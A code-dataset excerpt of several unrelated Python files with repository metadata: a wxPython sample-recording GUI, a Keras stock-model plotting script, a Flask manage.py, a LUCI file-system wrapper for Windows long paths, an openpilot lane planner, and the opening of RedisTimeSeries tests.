inp_map: try: inpField = inp_map[k] inpField.SetValue(mdata[k]) except KeyError: continue self.Layout() def onMoviesTab(self, event): if self.moviesTab is None: tab_title = "Movies Panel" movieController = MovieController() moviesTab = MoviesPanel(self.panel_notebook, self, tab_title, movieController) idx = self.panel_notebook.AddPage(moviesTab, tab_title) self.moviesTab = moviesTab else: self.moviesTab.onCloseTab(event) def onPersonTab(self, event): if self.personTab is None: tab_title = "Person Panel" person_controller = PersonController() personTab = PersonPanel(self.panel_notebook, self, tab_title, person_controller) idx = self.panel_notebook.AddPage(personTab, tab_title) self.personTab = personTab else: self.personTab.onCloseTab(event) def onCloseTab(self, event): self.delPage("Record Screening") self.Layout() def onCloseAnalyserTab(self, event): self.onStopProcess(event) self.delPage("Analyse Sample") self.Layout() def onRecord(self, event, form): sys = RecordSystem() msys = MovieController() msys.read_files() person = form.txtPerson.GetValue() movie_path = form.txtMovieFile.GetValue() mdata = msys.getMovieByFile(movie_path) file_name = msys.get_dir() + msys.getMovieObjById(mdata['id']).filename data = {"movie_id": "%s"%(mdata["id"]),"subject_name": person} player = VLCPlayer(file_name) sys = RecordSystem() filename = sys.createSampleDir() sys.saveMetaData(filename, data) sys.start_recording("sample", player, False, filename) self.print("Record complete...") self.print("New sample created. sample_id= %s"%(filename)) def onSampleMenu(self, event): if self.recordTab is not None: self.recordTab.Close() class EmptyClass: pass controllers = EmptyClass() controllers.personController = PersonController() controllers.movieController = MovieController() controllers.sampleController = SampleController() sampleFrame = SampleTabFrame(controllers) sampleFrame.Show() self.Layout() def onCaptureTestButton(self, event): self.print("Camera Capture event started.") captureFrame = CameraCaptureFrame() captureFrame.Show() self.Layout() def onAnalyseMenu(self, event): with wx.FileDialog(self, "Open a sample file", wildcard="avi files (*.avi)|*.avi", style=wx.FD_OPEN | wx.FD_FILE_MUST_EXIST) as fileDialog: if fileDialog.ShowModal() == wx.ID_CANCEL: return pathname = fileDialog.GetPath() self.print("File %s found!"% (pathname)) _sid = pathname[:pathname.rindex("/")] _sid = _sid[_sid.rindex("/")+1:] analyseTab = AnalyseMovieTabPanel(self.panel_notebook, self, _sid) self.panel_notebook.AddPage(analyseTab, "Analyse Sample") self.Layout() def onAnalyse(self, event, sid, form): from multiprocessing import Process fer = form.chkFER.GetValue() head = form.chkBEGR.GetValue() body = False preview = form.chkPreview.GetValue() video_file_name = "./data/"+sid+ "/test.avi" video_dir = "./data/"+sid+"/" if not preview: p = Process(name='process', target=analyse_func, args=(video_dir, video_file_name, fer,head,body,preview,self.print,) ) p.start() else: analyse_func(video_dir, video_file_name, fer,head,body,preview,self.print) self.analyse_process = p def onStopProcess(self, event): if self.analyse_process is not None: self.analyse_process.terminate() def delPage(self, pageTitle): for index in range(self.panel_notebook.GetPageCount()): if self.panel_notebook.GetPageText(index) == pageTitle: self.panel_notebook.DeletePage(index) self.panel_notebook.SendSizeEvent() break

true

1c422e8a6aafaa91932fb0b8728d242ea83b1153

3,879

py

Python

Processing/play_model.py

AndrewJBean/Stocks

1a082856983936e77c45d5b47274ac5f2a344348

[ "MIT" ]

1

2019-06-13T03:13:55.000Z

Processing/play_model.py

AndrewJBean/Stocks

1a082856983936e77c45d5b47274ac5f2a344348

[ "MIT" ]

null

Processing/play_model.py

AndrewJBean/Stocks

1a082856983936e77c45d5b47274ac5f2a344348

[ "MIT" ]

null

#!/usr/bin/env python3 # MIT License # Copyright (c) 2018 Andrew J. Bean # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import h5py import numpy as np import matplotlib.pyplot as plt from keras.models import load_model def main(): Gain = '0.5' Loss = '0.5' MSE_Loss = False LinearActivation = False DropFrac = '0.0' NEpochs = '200' NameRoot = 'my_model_' whichplot = 1 extension = Gain+','+Loss +'_open' ExamplesFile = h5py.File("2min_examples_"+extension+".hdf5", "r") # ExamplesFile = h5py.File("2min_aggregated_examples_"+extension+".hdf5", "r") SaveName = NameRoot+extension if MSE_Loss: SaveName = SaveName + '_MSE' if LinearActivation: SaveName = SaveName + '_Lin' if DropFrac!='0.7': SaveName = SaveName + '_' + DropFrac # SaveName = 'Trained/' + SaveName + "_"+NEpochs+"_"+val_loss+".h5" SaveName = 'Trained/' + SaveName + "_"+NEpochs+".h5" print(SaveName) model = load_model(SaveName) print(extension) if MSE_Loss: print('using mean_squared_error loss') else: print('using binary_crossentropy loss') print(ExamplesFile['Features'].shape) print(ExamplesFile['Outcomes'].shape) print(ExamplesFile['Timestamps'].shape) NumExamples = ExamplesFile['Features'].shape[0] FeatureSize = ExamplesFile['Features'].shape[1] SampleShift = 0.0 StartTest = int((0.9 - SampleShift )*NumExamples) EndTest = int((1.0 - SampleShift )*NumExamples) print('reading data from HDF5...') # x_train = ExamplesFile['Features'][:StartTest] # y_train = ExamplesFile['Outcomes'][:StartTest] x_test = ExamplesFile['Features'][StartTest:EndTest] y_test = ExamplesFile['Outcomes'][StartTest:EndTest] t_test = ExamplesFile['Timestamps'][StartTest:EndTest] y_predict = model.predict_on_batch(x_test) y_predict = np.array([y_predict[i][0] for i in range(len(y_predict))]) Rearrange = y_predict.argsort() # flip so losses are at right of plot # don't flip to keep losses at the left # Rearrange = np.flip(Rearrange,0) y_predict = y_predict[Rearrange] y_test = y_test[Rearrange] t_test = t_test[Rearrange] y_test = y_test*(float(Gain)+float(Loss))/100.0 - float(Loss)/100.0 + 1.0 if whichplot==0: y_test = np.log(y_test) y_test = np.cumsum(y_test) for i in range(len(y_test)): y_test[i] = y_test[i]/(i+1.0) plt.plot(np.exp(y_test)*100-100) plt.plot((t_test-min(t_test))/(max(t_test)-min(t_test)),'.') plt.show() elif whichplot==1: NWindow = 100 plt.plot((t_test-min(t_test))/(max(t_test)-min(t_test)),'.') plt.plot(np.convolve(y_test*100-100,np.ones(NWindow)/NWindow,mode='same')) plt.plot(y_predict) plt.show() if __name__ == '__main__': main()

34.327434

82

0.67801

import h5py import numpy as np import matplotlib.pyplot as plt from keras.models import load_model def main(): Gain = '0.5' Loss = '0.5' MSE_Loss = False LinearActivation = False DropFrac = '0.0' NEpochs = '200' NameRoot = 'my_model_' whichplot = 1 extension = Gain+','+Loss +'_open' ExamplesFile = h5py.File("2min_examples_"+extension+".hdf5", "r") SaveName = NameRoot+extension if MSE_Loss: SaveName = SaveName + '_MSE' if LinearActivation: SaveName = SaveName + '_Lin' if DropFrac!='0.7': SaveName = SaveName + '_' + DropFrac SaveName = 'Trained/' + SaveName + "_"+NEpochs+".h5" print(SaveName) model = load_model(SaveName) print(extension) if MSE_Loss: print('using mean_squared_error loss') else: print('using binary_crossentropy loss') print(ExamplesFile['Features'].shape) print(ExamplesFile['Outcomes'].shape) print(ExamplesFile['Timestamps'].shape) NumExamples = ExamplesFile['Features'].shape[0] FeatureSize = ExamplesFile['Features'].shape[1] SampleShift = 0.0 StartTest = int((0.9 - SampleShift )*NumExamples) EndTest = int((1.0 - SampleShift )*NumExamples) print('reading data from HDF5...') x_test = ExamplesFile['Features'][StartTest:EndTest] y_test = ExamplesFile['Outcomes'][StartTest:EndTest] t_test = ExamplesFile['Timestamps'][StartTest:EndTest] y_predict = model.predict_on_batch(x_test) y_predict = np.array([y_predict[i][0] for i in range(len(y_predict))]) Rearrange = y_predict.argsort() # Rearrange = np.flip(Rearrange,0) y_predict = y_predict[Rearrange] y_test = y_test[Rearrange] t_test = t_test[Rearrange] y_test = y_test*(float(Gain)+float(Loss))/100.0 - float(Loss)/100.0 + 1.0 if whichplot==0: y_test = np.log(y_test) y_test = np.cumsum(y_test) for i in range(len(y_test)): y_test[i] = y_test[i]/(i+1.0) plt.plot(np.exp(y_test)*100-100) plt.plot((t_test-min(t_test))/(max(t_test)-min(t_test)),'.') plt.show() elif whichplot==1: NWindow = 100 plt.plot((t_test-min(t_test))/(max(t_test)-min(t_test)),'.') plt.plot(np.convolve(y_test*100-100,np.ones(NWindow)/NWindow,mode='same')) plt.plot(y_predict) plt.show() if __name__ == '__main__': main()

true

1c422ef9036dbb792a8e97dffa85983051952d08

1,251

py

Python

manage.py

cristobal23/strabo

ab9aa1d4fde9ae9c1c225e689898cb30ff7f86c6

[ "Apache-2.0" ]

null

manage.py

cristobal23/strabo

ab9aa1d4fde9ae9c1c225e689898cb30ff7f86c6

[ "Apache-2.0" ]

3

2018-07-27T01:49:13.000Z

2018-08-20T01:57:06.000Z

manage.py

cristobal23/strabo

ab9aa1d4fde9ae9c1c225e689898cb30ff7f86c6

[ "Apache-2.0" ]

null

#!/usr/bin/env python import os from flask_script import Manager, Shell, Server from flask_script.commands import ShowUrls, Clean from strabo.app import create_app from strabo.models import db, User # default to dev config env = os.environ.get('STRABO_ENV', 'dev') app = create_app('strabo.settings.%sConfig' % env.capitalize()) HERE = os.path.abspath(os.path.dirname(__file__)) TEST_PATH = os.path.join(HERE, 'tests') manager = Manager(app) def _make_context(): """Return context dict for a shell session so you can access app, db, and the User model by default. """ return {'app': app, 'db': db, 'User': User} @manager.command def test(): """Run the tests.""" import pytest exit_code = pytest.main([TEST_PATH, '--verbose']) return exit_code @manager.command def createdb(): """ Creates a database with all of the tables defined in your SQLAlchemy models """ db.create_all() manager.add_command("server", Server()) manager.add_command("urls", ShowUrls()) manager.add_command("clean", Clean()) # Creates a python REPL with several default imports in the context of the app manager.add_command('shell', Shell(make_context=_make_context)) if __name__ == "__main__": manager.run()

24.529412

78

0.704237

import os from flask_script import Manager, Shell, Server from flask_script.commands import ShowUrls, Clean from strabo.app import create_app from strabo.models import db, User env = os.environ.get('STRABO_ENV', 'dev') app = create_app('strabo.settings.%sConfig' % env.capitalize()) HERE = os.path.abspath(os.path.dirname(__file__)) TEST_PATH = os.path.join(HERE, 'tests') manager = Manager(app) def _make_context(): return {'app': app, 'db': db, 'User': User} @manager.command def test(): import pytest exit_code = pytest.main([TEST_PATH, '--verbose']) return exit_code @manager.command def createdb(): db.create_all() manager.add_command("server", Server()) manager.add_command("urls", ShowUrls()) manager.add_command("clean", Clean()) manager.add_command('shell', Shell(make_context=_make_context)) if __name__ == "__main__": manager.run()

true

1c422fb7fbcdd11294596298fce6ebce66e1b612

4,639

py

Python

utils/fs.py

pombredanne/swarming.client

45f9d61c66e18bf3bddc2022cba615abbeb826ce

[ "Apache-2.0" ]

null

utils/fs.py

pombredanne/swarming.client

45f9d61c66e18bf3bddc2022cba615abbeb826ce

[ "Apache-2.0" ]

null

utils/fs.py

pombredanne/swarming.client

45f9d61c66e18bf3bddc2022cba615abbeb826ce

[ "Apache-2.0" ]

null

# Copyright 2015 The LUCI Authors. All rights reserved. # Use of this source code is governed under the Apache License, Version 2.0 # that can be found in the LICENSE file. """Wraps os, os.path and shutil functions to work around MAX_PATH on Windows.""" import __builtin__ import inspect import os import shutil import sys if sys.platform == 'win32': import ctypes GetFileAttributesW = ctypes.windll.kernel32.GetFileAttributesW GetFileAttributesW.argtypes = (ctypes.c_wchar_p,) GetFileAttributesW.restype = ctypes.c_uint CreateSymbolicLinkW = ctypes.windll.kernel32.CreateSymbolicLinkW CreateSymbolicLinkW.argtypes = ( ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.c_uint32) CreateSymbolicLinkW.restype = ctypes.c_ubyte def extend(path): """Adds '\\\\?\\' when given an absolute path so the MAX_PATH (260) limit is not enforced. """ assert os.path.isabs(path), path assert isinstance(path, unicode), path prefix = u'\\\\?\\' return path if path.startswith(prefix) else prefix + path def trim(path): """Removes '\\\\?\\' when receiving a path.""" assert isinstance(path, unicode), path prefix = u'\\\\?\\' if path.startswith(prefix): path = path[len(prefix):] assert os.path.isabs(path), path return path def islink(path): """Proper implementation of islink() for Windows. The stdlib is broken. https://msdn.microsoft.com/library/windows/desktop/aa365682.aspx """ FILE_ATTRIBUTE_REPARSE_POINT = 1024 return bool(GetFileAttributesW(extend(path)) & FILE_ATTRIBUTE_REPARSE_POINT) def symlink(source, link_name): """Creates a symlink on Windows 7 and later. This function will only work once SeCreateSymbolicLinkPrivilege has been enabled. See file_path.enable_symlink(). Useful material: CreateSymbolicLinkW: https://msdn.microsoft.com/library/windows/desktop/aa363866.aspx UAC and privilege stripping: https://msdn.microsoft.com/library/bb530410.aspx Privilege constants: https://msdn.microsoft.com/library/windows/desktop/bb530716.aspx """ # TODO(maruel): This forces always creating absolute path symlinks. source = extend(source) flags = 1 if os.path.isdir(source) else 0 if not CreateSymbolicLinkW(extend(link_name), source, flags): raise WindowsError() # pylint: disable=undefined-variable def walk(top, *args, **kwargs): return os.walk(extend(top), *args, **kwargs) else: def extend(path): """Convert the path back to utf-8. In some rare case, concatenating str and unicode may cause a UnicodeEncodeError because the default encoding is 'ascii'. """ assert os.path.isabs(path), path assert isinstance(path, unicode), path return path.encode('utf-8') def trim(path): """Path mangling is not needed on POSIX.""" assert os.path.isabs(path), path assert isinstance(path, str), path return path.decode('utf-8') def islink(path): return os.path.islink(extend(path)) def symlink(source, link_name): return os.symlink(source, extend(link_name)) def walk(top, *args, **kwargs): for root, dirs, files in os.walk(extend(top), *args, **kwargs): yield trim(root), dirs, files ## builtin def open(path, *args, **kwargs): # pylint: disable=redefined-builtin return __builtin__.open(extend(path), *args, **kwargs) ## os def link(source, link_name): return os.link(extend(source), extend(link_name)) def rename(old, new): return os.rename(extend(old), extend(new)) def renames(old, new): return os.renames(extend(old), extend(new)) ## shutil def copy2(src, dst): return shutil.copy2(extend(src), extend(dst)) def rmtree(path, *args, **kwargs): return shutil.rmtree(extend(path), *args, **kwargs) ## The rest def _get_lambda(func): return lambda path, *args, **kwargs: func(extend(path), *args, **kwargs) def _is_path_fn(func): return (inspect.getargspec(func)[0] or [None]) == 'path' _os_fns = ( 'access', 'chdir', 'chflags', 'chroot', 'chmod', 'chown', 'lchflags', 'lchmod', 'lchown', 'listdir', 'lstat', 'mknod', 'mkdir', 'makedirs', 'remove', 'removedirs', 'rmdir', 'stat', 'statvfs', 'unlink', 'utime') _os_path_fns = ( 'exists', 'lexists', 'getatime', 'getmtime', 'getctime', 'getsize', 'isfile', 'isdir', 'ismount') for _fn in _os_fns: if hasattr(os, _fn): sys.modules[__name__].__dict__.setdefault( _fn, _get_lambda(getattr(os, _fn))) for _fn in _os_path_fns: if hasattr(os.path, _fn): sys.modules[__name__].__dict__.setdefault( _fn, _get_lambda(getattr(os.path, _fn)))

25.772222

80

0.686786

import __builtin__ import inspect import os import shutil import sys if sys.platform == 'win32': import ctypes GetFileAttributesW = ctypes.windll.kernel32.GetFileAttributesW GetFileAttributesW.argtypes = (ctypes.c_wchar_p,) GetFileAttributesW.restype = ctypes.c_uint CreateSymbolicLinkW = ctypes.windll.kernel32.CreateSymbolicLinkW CreateSymbolicLinkW.argtypes = ( ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.c_uint32) CreateSymbolicLinkW.restype = ctypes.c_ubyte def extend(path): assert os.path.isabs(path), path assert isinstance(path, unicode), path prefix = u'\\\\?\\' return path if path.startswith(prefix) else prefix + path def trim(path): assert isinstance(path, unicode), path prefix = u'\\\\?\\' if path.startswith(prefix): path = path[len(prefix):] assert os.path.isabs(path), path return path def islink(path): FILE_ATTRIBUTE_REPARSE_POINT = 1024 return bool(GetFileAttributesW(extend(path)) & FILE_ATTRIBUTE_REPARSE_POINT) def symlink(source, link_name): source = extend(source) flags = 1 if os.path.isdir(source) else 0 if not CreateSymbolicLinkW(extend(link_name), source, flags): raise WindowsError() def walk(top, *args, **kwargs): return os.walk(extend(top), *args, **kwargs) else: def extend(path): """Convert the path back to utf-8. In some rare case, concatenating str and unicode may cause a UnicodeEncodeError because the default encoding is 'ascii'. """ assert os.path.isabs(path), path assert isinstance(path, unicode), path return path.encode('utf-8') def trim(path): """Path mangling is not needed on POSIX.""" assert os.path.isabs(path), path assert isinstance(path, str), path return path.decode('utf-8') def islink(path): return os.path.islink(extend(path)) def symlink(source, link_name): return os.symlink(source, extend(link_name)) def walk(top, *args, **kwargs): for root, dirs, files in os.walk(extend(top), *args, **kwargs): yield trim(root), dirs, files en(path, *args, **kwargs): return __builtin__.open(extend(path), *args, **kwargs) ef link(source, link_name): return os.link(extend(source), extend(link_name)) def rename(old, new): return os.rename(extend(old), extend(new)) def renames(old, new): return os.renames(extend(old), extend(new)) opy2(src, dst): return shutil.copy2(extend(src), extend(dst)) def rmtree(path, *args, **kwargs): return shutil.rmtree(extend(path), *args, **kwargs) t_lambda(func): return lambda path, *args, **kwargs: func(extend(path), *args, **kwargs) def _is_path_fn(func): return (inspect.getargspec(func)[0] or [None]) == 'path' _os_fns = ( 'access', 'chdir', 'chflags', 'chroot', 'chmod', 'chown', 'lchflags', 'lchmod', 'lchown', 'listdir', 'lstat', 'mknod', 'mkdir', 'makedirs', 'remove', 'removedirs', 'rmdir', 'stat', 'statvfs', 'unlink', 'utime') _os_path_fns = ( 'exists', 'lexists', 'getatime', 'getmtime', 'getctime', 'getsize', 'isfile', 'isdir', 'ismount') for _fn in _os_fns: if hasattr(os, _fn): sys.modules[__name__].__dict__.setdefault( _fn, _get_lambda(getattr(os, _fn))) for _fn in _os_path_fns: if hasattr(os.path, _fn): sys.modules[__name__].__dict__.setdefault( _fn, _get_lambda(getattr(os.path, _fn)))

true

1c4231dd19d810e39685a4bcc81a1b4b6addc51b

4,994

py

Python

selfdrive/controls/lib/lane_planner.py

YHKIM71/openpilot0813Volt

9f8b401d2b544d54e3b5e8c019f6ca20926a61f0

[ "MIT" ]

null

selfdrive/controls/lib/lane_planner.py

YHKIM71/openpilot0813Volt

9f8b401d2b544d54e3b5e8c019f6ca20926a61f0

[ "MIT" ]

null

selfdrive/controls/lib/lane_planner.py

YHKIM71/openpilot0813Volt

9f8b401d2b544d54e3b5e8c019f6ca20926a61f0

[ "MIT" ]

null

import numpy as np from cereal import log from common.filter_simple import FirstOrderFilter from common.numpy_fast import interp, clip, mean from common.realtime import DT_MDL from selfdrive.hardware import EON, TICI from selfdrive.swaglog import cloudlog from selfdrive.ntune import ntune_common_get ENABLE_ZORROBYTE = True ENABLE_INC_LANE_PROB = True TRAJECTORY_SIZE = 33 # camera offset is meters from center car to camera if EON: CAMERA_OFFSET = ntune_common_get("cameraOffset") PATH_OFFSET = 0.0 elif TICI: CAMERA_OFFSET = -0.04 PATH_OFFSET = -0.04 else: CAMERA_OFFSET = 0.0 PATH_OFFSET = 0.0 class LanePlanner: def __init__(self, wide_camera=False): self.ll_t = np.zeros((TRAJECTORY_SIZE,)) self.ll_x = np.zeros((TRAJECTORY_SIZE,)) self.lll_y = np.zeros((TRAJECTORY_SIZE,)) self.rll_y = np.zeros((TRAJECTORY_SIZE,)) self.lane_width_estimate = FirstOrderFilter(3.7, 9.95, DT_MDL) self.lane_width_certainty = FirstOrderFilter(1.0, 0.95, DT_MDL) self.lane_width = 3.7 self.lll_prob = 0. self.rll_prob = 0. self.d_prob = 0. self.lll_std = 0. self.rll_std = 0. self.l_lane_change_prob = 0. self.r_lane_change_prob = 0. self.camera_offset = -CAMERA_OFFSET if wide_camera else CAMERA_OFFSET self.path_offset = -PATH_OFFSET if wide_camera else PATH_OFFSET self.readings = [] self.frame = 0 self.wide_camera = wide_camera def parse_model(self, md): lane_lines = md.laneLines if len(lane_lines) == 4 and len(lane_lines[0].t) == TRAJECTORY_SIZE: self.ll_t = (np.array(lane_lines[1].t) + np.array(lane_lines[2].t))/2 # left and right ll x is the same self.ll_x = lane_lines[1].x # only offset left and right lane lines; offsetting path does not make sense cameraOffset = ntune_common_get("cameraOffset") + 0.08 if self.wide_camera else ntune_common_get("cameraOffset") self.lll_y = np.array(lane_lines[1].y) - cameraOffset self.rll_y = np.array(lane_lines[2].y) - cameraOffset self.lll_prob = md.laneLineProbs[1] self.rll_prob = md.laneLineProbs[2] self.lll_std = md.laneLineStds[1] self.rll_std = md.laneLineStds[2] desire_state = md.meta.desireState if len(desire_state): self.l_lane_change_prob = desire_state[log.LateralPlan.Desire.laneChangeLeft] self.r_lane_change_prob = desire_state[log.LateralPlan.Desire.laneChangeRight] def get_d_path(self, v_ego, path_t, path_xyz): # Reduce reliance on lanelines that are too far apart or # will be in a few seconds path_xyz[:, 1] -= self.path_offset l_prob, r_prob = self.lll_prob, self.rll_prob width_pts = self.rll_y - self.lll_y prob_mods = [] for t_check in [0.0, 1.5, 3.0]: width_at_t = interp(t_check * (v_ego + 7), self.ll_x, width_pts) prob_mods.append(interp(width_at_t, [4.0, 5.0], [1.0, 0.0])) mod = min(prob_mods) l_prob *= mod r_prob *= mod # Reduce reliance on uncertain lanelines l_std_mod = interp(self.lll_std, [.15, .3], [1.0, 0.0]) r_std_mod = interp(self.rll_std, [.15, .3], [1.0, 0.0]) l_prob *= l_std_mod r_prob *= r_std_mod if ENABLE_ZORROBYTE: # zorrobyte code if l_prob > 0.5 and r_prob > 0.5: self.frame += 1 if self.frame > 20: self.frame = 0 current_lane_width = clip(abs(self.rll_y[0] - self.lll_y[0]), 2.5, 3.5) self.readings.append(current_lane_width) self.lane_width = mean(self.readings) if len(self.readings) >= 30: self.readings.pop(0) # zorrobyte # Don't exit dive if abs(self.rll_y[0] - self.lll_y[0]) > self.lane_width: r_prob = r_prob / interp(l_prob, [0, 1], [1, 3]) else: # Find current lanewidth self.lane_width_certainty.update(l_prob * r_prob) current_lane_width = abs(self.rll_y[0] - self.lll_y[0]) self.lane_width_estimate.update(current_lane_width) speed_lane_width = interp(v_ego, [0., 31.], [2.8, 3.5]) self.lane_width = self.lane_width_certainty.x * self.lane_width_estimate.x + \ (1 - self.lane_width_certainty.x) * speed_lane_width clipped_lane_width = min(4.0, self.lane_width) path_from_left_lane = self.lll_y + clipped_lane_width / 2.0 path_from_right_lane = self.rll_y - clipped_lane_width / 2.0 self.d_prob = l_prob + r_prob - l_prob * r_prob # neokii if ENABLE_INC_LANE_PROB and self.d_prob > 0.65: self.d_prob = min(self.d_prob * 1.3, 1.0) lane_path_y = (l_prob * path_from_left_lane + r_prob * path_from_right_lane) / (l_prob + r_prob + 0.0001) safe_idxs = np.isfinite(self.ll_t) if safe_idxs[0]: lane_path_y_interp = np.interp(path_t, self.ll_t[safe_idxs], lane_path_y[safe_idxs]) path_xyz[:,1] = self.d_prob * lane_path_y_interp + (1.0 - self.d_prob) * path_xyz[:,1] else: cloudlog.warning("Lateral mpc - NaNs in laneline times, ignoring") return path_xyz

35.671429

118

0.676812

import numpy as np from cereal import log from common.filter_simple import FirstOrderFilter from common.numpy_fast import interp, clip, mean from common.realtime import DT_MDL from selfdrive.hardware import EON, TICI from selfdrive.swaglog import cloudlog from selfdrive.ntune import ntune_common_get ENABLE_ZORROBYTE = True ENABLE_INC_LANE_PROB = True TRAJECTORY_SIZE = 33 if EON: CAMERA_OFFSET = ntune_common_get("cameraOffset") PATH_OFFSET = 0.0 elif TICI: CAMERA_OFFSET = -0.04 PATH_OFFSET = -0.04 else: CAMERA_OFFSET = 0.0 PATH_OFFSET = 0.0 class LanePlanner: def __init__(self, wide_camera=False): self.ll_t = np.zeros((TRAJECTORY_SIZE,)) self.ll_x = np.zeros((TRAJECTORY_SIZE,)) self.lll_y = np.zeros((TRAJECTORY_SIZE,)) self.rll_y = np.zeros((TRAJECTORY_SIZE,)) self.lane_width_estimate = FirstOrderFilter(3.7, 9.95, DT_MDL) self.lane_width_certainty = FirstOrderFilter(1.0, 0.95, DT_MDL) self.lane_width = 3.7 self.lll_prob = 0. self.rll_prob = 0. self.d_prob = 0. self.lll_std = 0. self.rll_std = 0. self.l_lane_change_prob = 0. self.r_lane_change_prob = 0. self.camera_offset = -CAMERA_OFFSET if wide_camera else CAMERA_OFFSET self.path_offset = -PATH_OFFSET if wide_camera else PATH_OFFSET self.readings = [] self.frame = 0 self.wide_camera = wide_camera def parse_model(self, md): lane_lines = md.laneLines if len(lane_lines) == 4 and len(lane_lines[0].t) == TRAJECTORY_SIZE: self.ll_t = (np.array(lane_lines[1].t) + np.array(lane_lines[2].t))/2 self.ll_x = lane_lines[1].x cameraOffset = ntune_common_get("cameraOffset") + 0.08 if self.wide_camera else ntune_common_get("cameraOffset") self.lll_y = np.array(lane_lines[1].y) - cameraOffset self.rll_y = np.array(lane_lines[2].y) - cameraOffset self.lll_prob = md.laneLineProbs[1] self.rll_prob = md.laneLineProbs[2] self.lll_std = md.laneLineStds[1] self.rll_std = md.laneLineStds[2] desire_state = md.meta.desireState if len(desire_state): self.l_lane_change_prob = desire_state[log.LateralPlan.Desire.laneChangeLeft] self.r_lane_change_prob = desire_state[log.LateralPlan.Desire.laneChangeRight] def get_d_path(self, v_ego, path_t, path_xyz): path_xyz[:, 1] -= self.path_offset l_prob, r_prob = self.lll_prob, self.rll_prob width_pts = self.rll_y - self.lll_y prob_mods = [] for t_check in [0.0, 1.5, 3.0]: width_at_t = interp(t_check * (v_ego + 7), self.ll_x, width_pts) prob_mods.append(interp(width_at_t, [4.0, 5.0], [1.0, 0.0])) mod = min(prob_mods) l_prob *= mod r_prob *= mod l_std_mod = interp(self.lll_std, [.15, .3], [1.0, 0.0]) r_std_mod = interp(self.rll_std, [.15, .3], [1.0, 0.0]) l_prob *= l_std_mod r_prob *= r_std_mod if ENABLE_ZORROBYTE: if l_prob > 0.5 and r_prob > 0.5: self.frame += 1 if self.frame > 20: self.frame = 0 current_lane_width = clip(abs(self.rll_y[0] - self.lll_y[0]), 2.5, 3.5) self.readings.append(current_lane_width) self.lane_width = mean(self.readings) if len(self.readings) >= 30: self.readings.pop(0) if abs(self.rll_y[0] - self.lll_y[0]) > self.lane_width: r_prob = r_prob / interp(l_prob, [0, 1], [1, 3]) else: # Find current lanewidth self.lane_width_certainty.update(l_prob * r_prob) current_lane_width = abs(self.rll_y[0] - self.lll_y[0]) self.lane_width_estimate.update(current_lane_width) speed_lane_width = interp(v_ego, [0., 31.], [2.8, 3.5]) self.lane_width = self.lane_width_certainty.x * self.lane_width_estimate.x + \ (1 - self.lane_width_certainty.x) * speed_lane_width clipped_lane_width = min(4.0, self.lane_width) path_from_left_lane = self.lll_y + clipped_lane_width / 2.0 path_from_right_lane = self.rll_y - clipped_lane_width / 2.0 self.d_prob = l_prob + r_prob - l_prob * r_prob # neokii if ENABLE_INC_LANE_PROB and self.d_prob > 0.65: self.d_prob = min(self.d_prob * 1.3, 1.0) lane_path_y = (l_prob * path_from_left_lane + r_prob * path_from_right_lane) / (l_prob + r_prob + 0.0001) safe_idxs = np.isfinite(self.ll_t) if safe_idxs[0]: lane_path_y_interp = np.interp(path_t, self.ll_t[safe_idxs], lane_path_y[safe_idxs]) path_xyz[:,1] = self.d_prob * lane_path_y_interp + (1.0 - self.d_prob) * path_xyz[:,1] else: cloudlog.warning("Lateral mpc - NaNs in laneline times, ignoring") return path_xyz

true

1c4233a81772cebc4ed4ece2d3a93645f94d10de

22,510

py

Python

tests/flow/test_ts_mrange.py

rostyboost/RedisTimeSeries

61b9db88ec00447ecd87583b60dbf7ad9394719d

[ "MIT", "Ruby", "BSD-3-Clause" ]

null

tests/flow/test_ts_mrange.py

rostyboost/RedisTimeSeries

61b9db88ec00447ecd87583b60dbf7ad9394719d

[ "MIT", "Ruby", "BSD-3-Clause" ]

null

tests/flow/test_ts_mrange.py

rostyboost/RedisTimeSeries

61b9db88ec00447ecd87583b60dbf7ad9394719d

[ "MIT", "Ruby", "BSD-3-Clause" ]

null

import pytest import redis import time from collections import defaultdict from utils import Env, set_hertz from test_helper_classes import _insert_data from test_ts_range import build_expected_aligned_data from includes import * def test_mrange_with_expire_cmd(): env = Env() set_hertz(env) with env.getClusterConnectionIfNeeded() as r: assert r.execute_command("TS.ADD", "X" ,"*" ,"1" ,"LABELS", "type", "DELAYED") assert r.execute_command("TS.ADD", "Y" ,"*" ,"1" ,"LABELS", "type", "DELAYED") assert r.execute_command("TS.ADD", "Z" ,"*" ,"1" ,"LABELS", "type", "DELAYED") current_ts = time.time() assert r.execute_command("EXPIRE","X", 5) assert r.execute_command("EXPIRE","Y", 6) assert r.execute_command("EXPIRE","Z", 7) while time.time() < (current_ts+10): reply = r.execute_command('TS.mrange', '-', '+', 'FILTER', 'type=DELAYED') assert(len(reply)>=0 and len(reply)<=3) assert r.execute_command("PING") def test_mrange_expire_issue549(): Env().skipOnDebugger() env = Env() set_hertz(env) with Env().getClusterConnectionIfNeeded() as r: assert r.execute_command('ts.add', 'k1', 1, 10, 'LABELS', 'l', '1') == 1 assert r.execute_command('ts.add', 'k2', 2, 20, 'LABELS', 'l', '1') == 2 assert r.execute_command('expire', 'k1', '1') == 1 for i in range(0, 5000): assert env.getConnection().execute_command('ts.mrange - + aggregation avg 10 withlabels filter l=1') is not None def test_range_by_labels(): start_ts = 1511885909 samples_count = 50 for mode in ["UNCOMPRESSED", "COMPRESSED"]: env = Env() with Env().getClusterConnectionIfNeeded() as r: assert r.execute_command('TS.CREATE', 'tester1', mode, 'LABELS', 'name', 'bob', 'class', 'middle', 'generation', 'x') assert r.execute_command('TS.CREATE', 'tester2', 